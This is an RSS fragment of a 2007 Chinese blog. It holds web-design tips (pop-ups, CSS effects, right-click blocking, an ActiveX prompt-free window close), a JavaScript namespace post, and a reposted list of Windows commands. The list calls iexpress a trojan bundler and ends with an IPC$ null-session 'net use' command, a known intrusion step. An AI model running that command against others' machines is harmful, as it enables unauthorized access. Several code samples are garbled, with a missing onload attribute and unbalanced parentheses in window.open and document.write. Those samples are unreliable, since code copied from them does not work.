<br>&lt;SCRIPT LANGUAGE="javascript"&gt; js脚本开始； <br>window.open 弹出新窗口的命令； <br>`page.html` 弹出窗口的文件名； <br>`newwindow` 弹出窗口的名字（不是文件名），非必须，可用空``代替； <br>height=100 窗口高度； <br>width=400 窗口宽度； <br>top=0 窗口距离屏幕上方的象素值； <br>left=0 窗口距离屏幕左侧的象素值； <br>toolbar=no 是否显示工具栏，yes为显示； <br>menubar，scrollbars 表示菜单栏和滚动栏。 <br>resizable=no 是否允许改变窗口大小，yes为允许； <br>location=no 是否显示地址栏，yes为允许； <br>status=no 是否显示状态栏内的信息（通常是文件已经打开），yes为允许； <br>&lt;/SCRIPT&gt; js脚本结束 <br>【3、用函数控制弹出窗口】 <br>下面是一个完整的代码。 <br>&lt;html&gt; <br>&lt;head&gt; <br>&lt;script LANGUAGE="javascript"&gt; <br>&lt;!-- <br>function openwin() { window.open ("page.html", "newwindow", "height=100, width=400, toolbar= <br>no, menubar=no, scrollbars=no, resizable=no, location=no, status=no" <br>//写成一行 <br>} <br>//--&gt; <br>&lt;/script&gt; <br>&lt;/head&gt; <br>&lt;body "openwin()"&gt; <br>&#8230;任意的页面内容&#8230; <br>&lt;/body&gt; <br>&lt;/html&gt; <br>这里定义了一个函数openwin(),函数内容就是打开一个窗口。在调用它之前没有任何用途。 <br>怎么调用呢？ <br>方法一：&lt;body "openwin()"&gt; 浏览器读页面时弹出窗口； <br>方法二：&lt;body onunload="openwin()"&gt; 浏览器离开页面时弹出窗口； <br>方法三：用一个连接调用： <br>&lt;a href="#" onclick="openwin()"&gt;打开一个窗口&lt;/a&gt; <br>注意：使用的&#8220;#&#8221;是虚连接。 <br>方法四：用一个按钮调用： <br>&lt;input type="button" onclick="openwin()" value="打开窗口"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">14，没有用表格写的，让大家随便看看，没什么。 <br>&lt;html&gt; <br>&lt;head&gt; <br>&lt;title&gt;江南荷花扇面&lt;/title&gt; <br>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt; <br>&lt;style type="text/css"&gt; <br>&lt;!-- <br>.font1 { font-size: 12px; color: #999999; text-decoration: none} <br>a { font-size: 12px; color: #999999; text-decoration: none} <br>a:hover { font-size: 12px; color: #000000; text-decoration: none} <br>--&gt; <br>&lt;/style&gt; <br>&lt;/head&gt; <br>&lt;body bgcolor="#FFFFFF" text="#000000"&gt; <br>&lt;div class="font1" style="writing-mode=tb-rl;height:200px" width=300&gt; <br>&lt;p&gt;盛夏　　　　　　尚　涛　 <br>&lt;p&gt;&lt;a href="index.htm"&gt;一夜露痕黄粉香　袁运甫 &lt;/a&gt; <br>&lt;p&gt;瑶池昨夜新凉　　王金岭 <br>&lt;p&gt;一朵白莲随意开　吴冠南 <br>&lt;p&gt;新雨迎秋欲满塘　齐辛民 <br>&lt;p&gt;十里荷香　　　　齐辛民 <br>&lt;p&gt;濯清莲而不妖　　卢世曙 <br>&lt;/div&gt; <br>&lt;/body&gt; <br>&lt;/html&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">15,IE6已支持自定义cursor! <br>语法格式 cursor:url(图标) //cur或是ani文件. <br>cur就是WINDOWS中的光标(cursor)文件，光标文件与图标（ICON)文件除了文件头有一个位置的值不同外，实际是一样的。 <br>ani是WINDOWS中的动画光标（图标）文件。 <br>&lt;style type="text/css"&gt; <br>&lt;!-- <br>.unnamed1 { cursor:url(arrow2c.cur)} <br>--&gt; <br>&lt;/style&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">16,用marquee做的滚动字幕.这也我刚看到论坛的朋友在问。 <br>语法： <br>align=# | top | middle| bottom //对齐方式) <br>BEHAVIOR=AlterNATE | SCROLL | SLIDE //移动的方式 <br>BGCOLOR=color//底色区域颜色 <br>DIRECTION=DOWN | LEFT | RIGHT | UP //移动的方向 <br>Loop=n //循环次数（默认是循环不止） <br>Scrolldelay=milliseconds//延时 <br>height=# width=# //区域面积 <br>hspace=# vspace=# //空白区域 <br>scrollamount=# //移动的速度 <br>&lt;marquee align=top behavior=AlterNATE BGCOLOR=#000000 height=60 width=433 scrollamount=5&gt;&lt;/marquee&gt;</p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">17，在FLASH5中也存在一些字体，打散后变成一团的事是为什么？有解决的办法吗。 <br>这是大家很常见的问题！可能是对字库支持的不好！我个是做成透明的gif图片格式，然后倒入。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">18，flash的网页里&#8220;加入收藏夹&#8221;功能怎么实现？ <br>在as中加getUrl("java script:window.external.addFavorite(<a href="http://skydesigner.51.net/">http://skydesigner.51.net</a>`,`我的工作室`)" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">19，在Flash中，文本的动态属性和输入属性的区别。 <br>input text在运行时可被用户或程序改变其值。 <br>ynamic text仅允许被程序修改。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">20,怎样在IE中调用Dreamweaver进行编辑. <br>相信很多在使用WinME或Window2000的朋友，会遇见是个问题。很简单，把我们笔记本程序打开，保存为一个 *.reg 文件。双击它将信息添加到注册表即可。 <br>REGEDIT4 <br>[HKEY_CLASSES_ROOT\.htm\OpenWithList\Dreamweaver] <br>[HKEY_CLASSES_ROOT\.htm\OpenWithList\Dreamweaver\shell] <br>[HKEY_CLASSES_ROOT\.htm\OpenWithList\Dreamweaver\shell\edit] <br>[HKEY_CLASSES_ROOT\.htm\OpenWithList\Dreamweaver\shell\edit\command] <br>@="\"c:\\Program Files\\Macromedia\\Dreamweaver 4\\dreamweaver.exe\" \"%1\"" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">21，设置表格虚线。 <br>方法一：作一个1X2的图。半黑半白，再利用表格作成线。 <br>方法二：在css里面设，要IE5。5才支持这种效果。 <br>style="BORDER-LEFT: #000000 1PX DASHED; BORDER-RIGHT: #000000 1PX DASHED; BORDER-TOP: #000000 1PX DASHED; BORDER-BOTTOM: #000000 1PX DASHED" </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">22,看看在网页中调用HHCtrl控件效果。 <br>代码如下： <br>&lt;object id="HHC" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt;&lt;/object&gt;&lt;script&gt;HHC.TextPopup("哈哈,大家好,我是闪梦!","",50,5,128255,346751);&lt;/script&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">22，如何让一张图片有浅到深的渐变。 <br>&lt;SCRIPT language=javascript1.2&gt; <br>&lt;!-- <br>function high(which2){ <br>theobject=which2 <br>highlighting=setInterval("highlightit(theobject)",50) <br>} <br>function low(which2){ <br>clearInterval(highlighting) <br>which2.filters.alpha.opacity=40 <br>} <br>function highlightit(cur2){ <br>if (cur2.filters.alpha.opacity&lt;100) <br>cur2.filters.alpha.opacity+=10 <br>else if (window.highlighting) <br>clearInterval(highlighting) <br>} <br>&lt;/script&gt; <br>&lt;img onmouseout=low(this) onmouseover=high(this) style="FILTER: alpha(opacity=40)"src="logo.gif" &gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">23,双击鼠标左键来滚动背景，单击停止。 <br>&lt;SCRIPT language=javascript&gt; <br>var currentpos,timer; <br>function initialize() <br>{ <br>timer=setInterval("scrollwindow()",16); <br>} <br>function sc(){ <br>clearInterval(timer); <br>} <br>function scrollwindow() <br>{ <br>currentpos=document.body.scrollTop; <br>window.scroll(0,++currentpos); <br>if (currentpos != document.body.scrollTop) <br>sc(); <br>} <br>document.onmousedown=sc <br>document.ondblclick=initialize <br>&lt;/SCRIPT&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">24,如何在同一页面设置不同文字链接效果的样式. <br>代码如下： <br>&lt;HTML&gt;&lt;HEAD&gt;&lt;TITLE&gt;如何在同一页面设置不同文字链接效果的样式&lt;/TITLE&gt; <br>&lt;meta http-equiv="Content-Type" content="text/html; charset=gb2312"&gt; <br>&lt;style type="text/css"&gt; <br>&lt;!-- <br>a:hover { font-size: 9pt; color: #FF0000; text-decoration: underline} <br>a:link { font-size: 9pt; color: #006699; text-decoration: underline} <br>a:visited { font-size: 9pt; color: #006699; text-decoration: underline} <br>a:active { font-size: 9pt; color: #FF0000; text-decoration: none} <br>a.r1:hover { font-size: 9pt; color: #FF0000; text-decoration: underline overline} <br>a.r1:link { font-size: 9pt; color: #000000; text-decoration: underline overline} <br>a.r1:visited { font-size: 9pt; color: #99CC00; text-decoration: underline overline} <br>a.r1:active { font-size: 9pt; color: #000000; text-decoration: underline overline} <br>--&gt; <br>&lt;/style&gt; <br>&lt;/head&gt; <br>&lt;body bgcolor="#FFFFFF" text="#000000"&gt; <br>&lt;a href="#"&gt;下划线链接 &lt;/a&gt; <br>&lt;p&gt;&lt;/p&gt; <br>&lt;a href="#" class="r1"&gt;双下划线链接&lt;/a&gt; <br>&lt;/BODY&gt; <br>&lt;/HTML&gt; <br>补充说明： <br>a:hover 表示鼠标划过时的样式. <br>a:link 表示链接的样式. <br>a:active 表示当前活动连接的样式. <br>a:visited 表示已经访问过的连接的样式. </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">25, 用CSS给文字加入阴影效果和文字描边效果。 <br>.glow{FONT-SIZE: 9pt; FILTER: Glow(Color=#000000, Strength=1)} <br>//文字描边效果 <br>.shadow {FONT-SIZE: 9pt; FILTER: DropShadow(OffX=1, OffY=1, DropShadow(OffX=1, OffY=1, color:#111111); COLOR: #ffffff; FONT-FAMILY: "宋体"} <br>//加入阴影效果 <br>补充说明： <br>　　这两种滤镜要想实现效果，必须加在如：&lt;td class=glow或shadow &gt;&lt;div&gt;xxxxxxxxx&lt;/div&gt;&lt;/td&gt;上 <br>，并且要留有足够的空间能够显示阴影或描边，否则会出现半截的阴影或描边现象。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">26,如何给做带颜色的下拉菜单。 <br>&lt;select style="FONT-SIZE: 10px; COLOR: #ffffff; FONT-FAMILY: Verdana;BACKGROUND-COLOR: #ff6600;" size=1 &gt; <br>&lt;option selected&gt;:: Dreamweaver4 ::&lt;/option&gt; <br>&lt;option&gt;::Flash5::&lt;/option&gt; <br>&lt;option&gt;::Firewoks4::&lt;/option&gt; <br>&lt;/select&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">27,关于DW4的表格中的亮边框和暗边框问题。 <br>在DW4的表格面板中并没有亮边框和暗边框的属性设置，因为NC不支持,只有你在代码中添加了。 <br>bordercolorlight="#999999" bordercolordark="#000000" <br>　　你也可以用Css定义一个class。例如： <br>&lt;style&gt; <br>.bordercolor { bordercolorlight: #999999; bordercolordark: #000000 } <br>&lt;/style&gt; <br>　　然后在要加效果的表格里加上&lt;table class="bordercolor"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">28,自动显示主页最后更新日期. <br>&lt;script&gt; <br>document.write("最后更新日期："+document.lastModified+"" <br>&lt;/script&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">29,如何让滚动条出现在左边？ <br>我想居然在论坛中有人发表了这段代码，很有意思，它的确照顾一些左撇子，呵呵！ <br>&lt;html dir="rtl"&gt; <br>&lt;body bgcolor="#000000" text="#FFFFFF"&gt; <br>&lt;table height=18 width=212 align=center bgcolor=#FFFFFF dir="ltr" cellspacing="1" 　cellpadding="0"&gt; <br>&lt;tr&gt; <br>&lt;td bgcolor="#FF0000" &gt;是不是你的滚动条在左边啊&lt;/td&gt; <br>&lt;/tr&gt; <br>&lt;/table&gt; <br>&lt;/body&gt; <br>&lt;/html&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">30,如何加入网址前面的小图标？ <br>　　首先,您必须了解所谓的图标（Icon）是一种特殊的图形文件格式，它是以 .ico 作为扩展名。你可用在网上找一个制作图标软件，它具有特有的规格：图标的大小为 16 * 16（以像素为单位）；颜色不得超过 16 色。 在该网页文件的 HEAD 部分加入下面的内容：&lt;LINK REL="SHORTCUT ICON" HREF=" <a href="http://skydesigner.51.net/">http://skydesigner.51.net/</a>图标文件名"&gt;,并放在该网页的根目录下。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">31,在800*600显示器中，如何不让网页水平出现滚动条！ <br>设至&lt;body leftmargin="0" topmargin="0"&gt;，网页中的表格宽度为778。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">32,关于&lt;!DOTYPE&gt;的说明解释。 <br>在网页中，经常会看到〈!DOCTYPE HTML PUBLIC`-//W3C//DTD HTML 4.01//EN`&gt;，是声明HTML文件的版本信息。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">33, 用图片来关闭窗体. <br>&lt;A href="java script:window.close()"&gt;&lt;IMG height=20 width=20 alt="关闭窗口" src="close.gif" border=0&gt;&lt;/A&gt; <br>补充说明：如何使用了ACTIVEX！,不再警告窗口？ <br>&lt;html&gt; <br>&lt;head&gt; <br>&lt;object id=closes type="application/x-oleobject" <br>classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"&gt; <br>&lt;param name="Command" value="Close"&gt;&lt;/object&gt; <br>&lt;/head&gt; <br>&lt;body bgcolor="#003063" text="#ffffff" id=all&gt; &lt;a href="#" onclick="closes.Click();"&gt;关闭窗口无提示&lt;/a&gt; <br>&lt;/body&gt; <br>&lt;/html&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">34,禁止鼠标右键查看网页源代码。 <br>&lt;SCRIPT language=javascript&gt; <br>function click() <br>{if (event.button==2) {alert(`你好,欢迎光临！`) }} <br>document.onmousedown=click <br>&lt;/SCRIPT&gt; <br>补充说明： <br>鼠标完全被封锁,可以屏蔽鼠标右键和网页文字。 <br>&lt; body oncontextmenu="return false" ondragstart="return false" onselectstart="return false"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">35,通过按钮来查看网页源代码。 <br>&lt;input type="BUTTON" value="查看源代码" onClick= `window.location = "view-source:" + window.location.href` name="BUTTON"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">36,怎么用文字联结实现按钮的SUBMIT功能？ <br>&lt;a href="#" onclick="formname.submit()"&gt;OK&lt;/a&gt; <br>这段文字要放在form里。formname是这里要写在form中的name,&lt;form name=form111&gt;那么就应该是form111.submit() </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">37,如何做一个空链接？ <br>加# </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">38,利用&lt;IFRAME&gt;来给网页中插入网页。 <br>　　经常我看到很多网页中又有一个网页，还以为是用了框架，其实不然，是用了&lt;IFRAME&gt;,它只适用于IE，NS可是不支持&lt;IFRAME&gt;的，但围着的字句只有在浏览器不支援 iframe 标记时才会显示，如&lt;noframes&gt;一样，可以放些提醒字句之类的话。 <br>你注意啊！下面请和我学习它的用法。 <br>分析代码：&lt;iframe src="iframe.html" name="test" align="MIDDLE" width="300" height="100" marginwidth="1" marginheight="1" frameborder="1" scrolling="Yes"&gt; &lt;/iframe&gt;<br>　　src="iframe.html" <br>　　用来显示&lt;IFRAME&gt;中的网页来源，必要加上相对或绝对路径。 <br>　　name="test" <br>　　这是连结标记的 target 参数所需要的。 <br>　　align="MIDDLE" <br>　　可选值为 left, right, top, middle, bottom，作用不大 。 <br>　　width="300" height="100" <br>　　框窗的宽及长，以 pixels 为单位。 <br>　　marginwidth="1" marginheight="1" <br>　　该插入的文件与框边所保留的空间。 <br>　　frameborder="1" <br>　　使用 1 表示显示边框， 0 则不显示。（可以是 yes 或 no） <br>　　scrolling="Yes" <br>　　使用 Yes 表示容许卷动（内定）， No 则不容许卷动。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">39,请问＜tbody＞的用法？ <br>tbody用法据说是加强对表格的控制能力的.例如： <br>　&lt;table&gt;&lt;tbody&gt;&#8230;&#8230;..&lt;/tbody&gt;&lt;/table&gt; <br>　　tbody代码如果不是你用手写的话,只有在你用IE5打开一个网页的时候， 把它另存为 <br>一下，你的另存为的文件在表格中就会生成tbody代码。(即便你的表格根本就没有 <br>tbody代码，IE5另存为的时候也会给你生成)。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">40,Alt和Title都是提示性语言标签，请注意它们之间的区别。 <br>　　在我们浏览网页时，当鼠标停留在图片对象或文字链接上时，在鼠标的右下角有时会出现一个提示信息框。对目标进行一定的注释说明。在一些场合，它的作用是很重要的。 <br>alt 用来给图片来提示的。Title用来给链接文字或普通文字提示的。 <br>用法如下： <br>　　　&lt;p Title="给链接文字提示"&gt;文字&lt;/p&gt; <br>　　　&lt;a href="#" Title="给链接文字提示"&gt;文字&lt;/a&gt; <br>　　　&lt;img src="图片.gif" alt="给图片提示"&gt; <br>补充知识：&lt;TITLE&gt;&lt;ALT&gt;里面如何多行换行？在源代码里Enter回车。 <br>&lt;a href="#" Title="个人简历 <br>姓名：张培 <br>网名：我是闪梦 <br>性别：男的，不是女的。 <br>爱好：网页制作，软件开发"&gt;个人简历&lt;/a&gt; <br>例如：个人简历 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">41, 用javascript代码来实现闪烁按钮。 <br>&lt;body&gt; <br>&lt;form method="POST" action="--WEBBOT-SELF--"&gt; <br>&lt;input type="button" name=SUB value="闪烁" id=flashit style="BORDER: 1px solid ;BACKGROUND-COLOR: #FFFFFF"&gt; <br>&lt;/form&gt; <br>&lt;script&gt; <br>if (document.all&amp;&amp;document.all.flashit) <br>{ <br>var flashelement=document.all.flashit <br>if (flashelement.length==null) <br>flashelement[0]=document.all.flashit <br>function changecolor(which) <br>{ <br>if (flashelement[which].style.color==`#800000`) <br>flashelement[which].style.color="#0063A4" <br>else <br>flashelement[which].style.color="#800000" <br>} <br>if (flashelement.length==null) <br>setInterval("changecolor(0)",1000) <br>else <br>for (i=0;i&lt;flashelement.length;i++) <br>{ <br>var tempvariable=`setInterval("changecolor(`+i+`)",`+`1000)` <br>eval(tempvariable) <br>} <br>} <br>&lt;/script&gt; <br>&lt;/body&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">42,CSS给图片定义颜色边框。 <br>img { border: 1px solid red} </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">43,在DW中如何使插入的FLASH透明。 <br>方法一：选中swf,打开原代码窗口，在&lt;/object&gt;前输入:&lt;param name="wmode" value="transparent"&gt; <br>方法二：在Flash中的Flie&#8594;Publist Settings&#8594;HTML&#8594;Window Mode选择transparent </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">44,在DW编辑文本中，如何输入一个空格呢？ <br>输入空格的问题，在DW似乎已成了一个老生常谈的问题。通过将输入法调整到全角模式就可以避免了。本以人工智能ABC为例.按Shift+Space切换到全角状态。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">45,为何我的DW中图形显示不正常。 <br>第一种：可能是因为你定义并正在使用一个site，而你的HTML文件或者图片不在这个site包含的区域之内，因此dreamweaver使用file协议来 <br>描述图象的绝对路径，可惜IE不支持src中使用file协议，所以图象就显示不出来了。 <br>第二种：可能是放图片的文件夹或图片名为中文，也显示不到网页中去。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">46,如何在本地机器上测试flash影片的loading？ <br>我想这可能是很多人在问的题了，其实很简单，在Test时，选选View-&gt;Show Streaming就可以看到了。 </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">47,在网页中做出一根竖的线有几种办法. <br>第一种方法：用一个像素图的办法！ <br>如果你用Dreamwever的Edit&#8594;Preferences&#8230;&#8594;Layout View中的Spacer Image给你创建了一个缺省名为：spacer.gif的一个像素图文件 。 <br>代码中： <br>&lt;table border="0" cellspacing="0" cellpadding="0"&gt; <br>&lt;tr&gt; <br>&lt;td bgcolor="#FF0000" height="200" &gt;&lt;img src="spacer.gif" width="1" height="1"&gt;&lt;/td&gt; <br>&lt;/tr&gt; <br>&lt;/table&gt; <br>第二种方法：用表格填颜色的办法！把&lt;td&gt; &lt;/td&gt;中的 删掉 . <br>&lt;table border="0" cellspacing="0" cellpadding="0"&gt; <br>&lt;tr&gt; <br>&lt;td bgcolor="#FF0000" height="200" width="1"&gt;&lt;/td&gt; <br>&lt;/tr&gt; <br>&lt;/table&gt; <br>第三种方法：用水平条。 <br>&lt;hr color="red" width="1" size="100%"&gt; </p>
<p style="FONT-SIZE: 12pt; FONT-FAMILY: Georgia">48, 关于鼠标拖动,改变层大小。──看看微软的做法. <br>&lt;script&gt; <br>document.execCommand("2D-position",false,true); <br>&lt;/script&gt; <br>&lt;DIV contentEditable=true&gt; <br>&lt;DIV style="WIDTH: 300px; POSITION: absolute; HEIGHT: 100px; BACKGROUND-COLOR: red"&gt;移动层&lt;/DIV&gt; <br>&lt;/DIV&gt; </p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/115258.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-04 01:27 <a href="http://www.blogjava.net/sunbaby/articles/115258.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在JavaScript中实现命名空间</title><link>http://www.blogjava.net/sunbaby/articles/115139.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Thu, 03 May 2007 07:34:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/115139.html</guid><description><![CDATA[<p>注：好久没写了，今天把我在公司内网写的文章拷一份，出来露露脸，刚转Web开发，所以开始学JavaScript！</p>
<p>在引入命名空间之前，一个令开发人员头疼的问题就是如何防止函数名/类名和其他人的冲突，在一个公司内部项目组之间可以通过命名预定（比如加前缀等）解决这个问题，但是把视线放到整个软件开发领域，在当今协作开发相当盛行的时代，这个问题却依然存在。在使用多个第三方框架或类库的时候，你唯一能作的就是祈祷它们的命名不要冲突，如果真正发生这种灾难的话，你唯一能作的就是放弃其中一个（注：可能是我孤陋寡闻，呵呵）。命名空间的引入相当程度上解决了这个问题，当然，如果你使用的命名空间和其他公司不幸一样，而对方又是微软、SUN等大佬，那恭喜你，呵呵@_@!</p>
<p>从事Web开发不可避免要接触JavaScript，目前最新版本的JavaScript还是不支持命名空间，所以命名冲突的问题凸显无疑，想象一下你引用了两个js文件，却发现由于命名问题导致你不得不放弃其中一个，从而导致多写了许多代码，无疑是十分令人沮丧的。在JavaScript新版本引入命名空间概念之前，发扬自立更生精神和创造性是我们程序员的基本义务;-)</p>
<p>实现前提：与Delphi、C#等语言不同，JavaScript中的类并不是对象的定义，事实上JavaScript中并不存在真正的类，这里的类实际上是用函数模拟实现的，而JavaScript中的函数实际上是一个对象，因此在JavaScript中：一个类就是一个对象。这和传统概念概念极为不同，在JavaScript中，创建某个类的实例实际上就是将类（=对象，记住）复制了一份。看到这里，有点设计模式概念的应该就可以看出来了，在JavaScript中，类机制使用了原型（prototype）模式。</p>
<p>实现原理：既然看清楚了类的本质，那么问题就简单了，如果将GEA项目组所有JS类和函数作为属性放在名为GEA的对象里面，然后将GEA对象以属性的方式放在名为Grandsoft对象里面不就可以达到我们的目的，比如Grandsoft.GEA.Person实际上是在Grandsoft对象的属性GEA（也是一个对象）中的类Person（还是一个对象）。</p>
<p>实现非常简单，整个命名空间机制的实现不超过20行代码，分析如下：</p>
<p>// 声明一个全局对象Namespace，用来注册命名空间<br>Namespace = new Object();</p>
<p>// 全局对象仅仅存在register函数，参数为名称空间全路径，如"Grandsoft.GEA"<br>Namespace.register = function(fullNS)<br>{<br>&nbsp;&nbsp;&nbsp; // 将命名空间切成N部分, 比如Grandsoft、GEA等<br>&nbsp;&nbsp;&nbsp; var nsArray = fullNS.split('.');<br>&nbsp;&nbsp;&nbsp; var sEval = "";<br>&nbsp;&nbsp;&nbsp; var sNS = "";<br>&nbsp;&nbsp;&nbsp; for (var i = 0; i &lt; nsArray.length; i++)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (i != 0) sNS += ".";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sNS += nsArray[i];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 依次创建构造命名空间对象（假如不存在的话）的语句<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 比如先创建Grandsoft，然后创建Grandsoft.GEA，依次下去<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sEval += "if (typeof(" + sNS + ") == 'undefined') " + sNS + " = new Object();"<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; if (sEval != "") eval(sEval);<br>}</p>
<p>上面就是在JavaScript中模拟命名空间机制的完整实现，使用方式如下：</p>
<p>// 注册命名空间Grandsoft.GEA, Grandsoft.GCM<br>Namespace.register("Grandsoft.GEA");<br>Namespace.register("Grandsoft.GCM");</p>
<p>// 在Grandsoft.GEA命名空间里面声明类Person<br>Grandsoft.GEA.Person = function(name, age)<br>{<br>&nbsp;&nbsp;&nbsp; this.name = name;<br>&nbsp;&nbsp;&nbsp; this.age = age;<br>}</p>
<p>// 给类Person添加一个公共方法show()<br>Grandsoft.GEA.Person.prototype.show = function()<br>{<br>&nbsp;&nbsp;&nbsp; alert(this.name + " is " + this.age + " years old!");<br>}</p>
<p>// 演示如何使用类Person<br>var p = new Grandsoft.GEA.Person("yanglf", 25);<br>p.show();<br>哈哈，简单吧，这么简单的代码我就不多说了，大家自己看着玩吧，其实我有点懒，呵呵@_@!!!</p>
<p><br>&nbsp;</p>
<img src ="http://www.blogjava.net/sunbaby/aggbug/115139.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/sunbaby/" target="_blank">sunbaby</a> 2007-05-03 15:34 <a href="http://www.blogjava.net/sunbaby/articles/115139.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>(转载)Windows下常用命令收藏</title><link>http://www.blogjava.net/sunbaby/articles/109289.html</link><dc:creator>sunbaby</dc:creator><author>sunbaby</author><pubDate>Sun, 08 Apr 2007 16:19:00 GMT</pubDate><guid>http://www.blogjava.net/sunbaby/articles/109289.html</guid><description><![CDATA[<pre>winver 检查Windows版本
dxdiag 检查DirectX信息
mem.exe 显示内存使用情况
Sndvol32 音量控制程序
sfc.exe 系统文件检查器
gpedit.msc 组策略
regedit.exe 注册表
msconfig.exe 系统配置实用程序
mstsc 远程桌面连接
notepad 打开记事本
cmd.exe CMD命令提示符
MSINFO32 系统信息
XP总命令集合
sc-------------查看常用服务
orgwinver------检查Windows版本
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
winmsd---------系统信息
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mem.exe--------显示内存使用情况
Msconfig.exe---系统配置实用程序
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
mplayer2-------媒体播放机
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
dxdiag---------检查DirectX信息
drwtsn32------ 系统医生
devmgmt.msc--- 设备管理器
dfrg.msc-------磁盘碎片整理程序
diskmgmt.msc---磁盘管理实用程序
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
dvdplay--------DVD播放器
net stop messenger-----停止信使服务
net start messenger----开始信使服务
notepad--------打开记事本
nslookup-------网络管理的工具向导
ntbackup-------系统备份和还原
narrator-------屏幕&#8220;讲述人&#8221;
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
sndrec32-------录音机
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保
护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
tsshutdn-------60秒倒计时关机命令
tourstart------xp简介（安装完成后出现的漫游xp程序）
taskmgr--------任务管理器
eventvwr-------事件查看器
eudcedit-------造字程序
explorer-------打开资源管理器
packager-------对象包装程序
perfmon.msc----计算机性能监测程序
progman--------程序管理器
regedit.exe----注册表
rsop.msc-------组策略结果集
regedt32-------注册表编辑器
rononce -p ----15秒关机
regsvr32 /u *.dll----停止dll文件运行
regsvr32 /u zipfldr.dll------取消ZIP支持
cmd.exe--------CMD命令提示符
chkdsk.exe-----Chkdsk磁盘检查
certmgr.msc----证书管理实用程序
calc-----------启动计算器
charmap--------启动字符映射表
cliconfg-------SQL SERVER 客户端网络实用程序
Clipbrd--------剪贴板查看器
conf-----------启动netmeeting
compmgmt.msc---计算机管理
cleanmgr-------垃圾整理
ciadv.msc------索引服务程序
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
lusrmgr.msc----本机用户和组
logoff---------注销命令
iexpress-------木马捆绑工具，系统自带
Nslookup-------IP地址侦测器
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
gpedit.msc-----组策略&nbsp;&nbsp;&nbsp;
DOS命令字典..收藏
net use \ip\ipc$ " " /user:" " 建立IPC空链接
